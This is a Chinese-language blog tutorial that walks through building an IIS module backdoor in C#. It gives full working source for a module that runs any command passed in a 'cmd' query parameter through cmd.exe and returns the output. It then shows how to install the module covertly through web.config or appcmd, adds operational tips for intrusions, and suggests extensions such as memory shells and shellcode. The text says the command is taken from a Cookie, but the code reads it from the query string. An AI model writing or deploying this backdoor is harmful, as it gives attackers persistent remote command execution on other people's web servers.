警告
本文最后更新于 2021-03-26,文中内容可能已过时。
本文介绍了iis模块后门,并具体实现一个执行cmd的后门。
根据微软的文档,iis开发功能分为两种,分别是IIS module
和IIS handler
,即IIS模块和IIS处理程序。
IIS模块是一个.NET类,该类实现ASP.NETSystem.Web.IHttpModule
接口,并使用System.Web
命名空间中的API参与一个或多个ASP.NET的请求处理阶段。
IIS处理程序也是一个类,该类实现ASP.NETSystem.Web.IHttpHandler
或System.Web.IHttpAsyncHandler
接口,并使用System.Web
命名空间中的API为其支持的特定内容生成http响应。
IIS处理程序负责将请求提供给特定的url或特定扩展名,IIS模块则应用于基于任意规则的所有或某些请求。本文以IIS模块为例开发IIS后门实现从Cookie中获取cmd命令并执行。
- vs2019
- .net 2.0
使用.net2.0是为了向上兼容.net3.5/.net4的高版本环境。
先创建一个C# .NET Framework项目

选用.net2.0的环境

添加System.Web.dll的引用

然后实现IHttpModule接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
namespace IIS_BackDoor
{
public class MyModule : IHttpModule
{
public void Dispose()
{
throw new NotImplementedException();
}
public void Init(HttpApplication context)
{
throw new NotImplementedException();
}
}
}
|
两个接口分别负责模块的两个生命周期
- Init 模块初始化
- Dispose 请求销毁
Init()方法接受一个HttpApplication参数,此参数代表请求的上下文。其中HttpApplication中有一个订阅事件PreRequestHandlerExecute,该事件字面意思就是在请求之前进行处理。
值得一提的是HttpApplication还有很多别的事件

PreRequestHandlerExecute是一个事件,其类型为EventHandler。
1
| public event EventHandler PreRequestHandlerExecute;
|
而EventHandler是定义的一个委托
1
| public delegate void EventHandler(object sender, EventArgs e);
|
新建一个事件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| using System;
using System.Collections.Generic;
using System.Text;
using System.Web;
namespace IIS_BackDoor
{
public class MyModule : IHttpModule
{
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute);
}
private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
{
// do somthing
}
}
}
|
通过new EventHandler()新建一个事件,我们新加事件时需要保证自己的方法和EventHandler方法签名一致。即传递object sender, EventArgs e
两个参数,返回类型为void。
在Context_PreRequestHandlerExecute
中,我们想干什么就干什么。
1
2
3
4
5
6
| private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
{
HttpApplication app = (HttpApplication)sender;
HttpRequest request = app.Context.Request;
HttpResponse response = app.Context.Response;
}
|
通过sender拿到HttpApplication上下文。有了request和response我们就可以拿到参数,执行命令拿到结果,然后写入response了。
接下来是示例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Web;
namespace IIS_BackDoor
{
public class MyModule : IHttpModule
{
public void Dispose()
{
}
public void Init(HttpApplication context)
{
context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute);
}
private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
{
HttpApplication app = (HttpApplication)sender;
HttpRequest request = app.Context.Request;
HttpResponse response = app.Context.Response;
try
{
string cmd = request.QueryString.Get("cmd");
Process proc = new Process();
proc.StartInfo.CreateNoWindow = true;
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardError = true;
proc.StartInfo.RedirectStandardInput = true;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
proc.StandardInput.WriteLine(cmd);
proc.StandardInput.WriteLine("exit");
string outStr = proc.StandardOutput.ReadToEnd();
proc.Close();
response.Clear();
response.BufferOutput = true;
response.Write(outStr);
response.End();
}
catch (Exception err)
{
response.Write(err.Message);
}
}
}
}
|
从参数中获取cmd,然后写入resp。编译dll之后来部署dll。
微软文档中使用的图形化部署。
先添加模块

再添加模块映射关系。

而对渗透来说rdp过于拉跨,这里提供一种使用web.config部署的方法。在web.config中
1
2
3
4
5
6
7
| <configuration>
<system.webServer>
<modules>
<add name="IIS_BackDoor" type="IIS_BackDoor.MyModule"/>
</modules>
</system.webServer>
<configuration>
|
可以将模块放入bin目录,然后编辑web.config加入system.webServer
->modules
节点,无需重启即可生效。

部署的时候需要注意,根据iis的运行模式不同,web.config的修改位置也不一样。
经典模式修改位置位于<httpModules></httpModules>
标签内。集成模式修改位置位于<modules></modules>
内。具体参考 IIS7中的“经典”和“集成”管道模式有什么区别?
或者使用appcmd命令安装,需要管理员权限。
1
2
3
4
| PS C:\Windows\system32\inetsrv> .\appcmd.exe list app
APP "Default Web Site/" (applicationPool:DefaultAppPool)
PS C:\Windows\system32\inetsrv> .\appcmd.exe add module /name:IIS_BackDoor /type:IIS_BackDoor.MyModule /app.name:"Default Web Site/"
已添加 MODULE 对象“IIS_BackDoor”
|
- 部署后门前最好先上cs,不然网站崩了直接gg。
- 虽然是net2.0编译的,但是写自己代码的时候可能会有一些api和高版本的不兼容。
- vs2019 anycpu编译的dll,根据iis的运行位数和系统位数不同还是可能会崩,具体部署时应该根据目标实际架构重新编译。
iis后门不仅仅可以用来做runcmd的实现,一键注入内存shell、HttpListener端口复用、直接运行shellcode、powershell,都是很实用的功能。
这些功能就不放出来了,大伙自己改改。
- https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs
- 使用.NET Framework开发IIS 7.0模块和处理程序
- https://cloud.tencent.com/developer/article/1507913
- IIS7中的“经典”和“集成”管道模式有什么区别?
- CVE-2020-17144漏洞分析与武器化
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。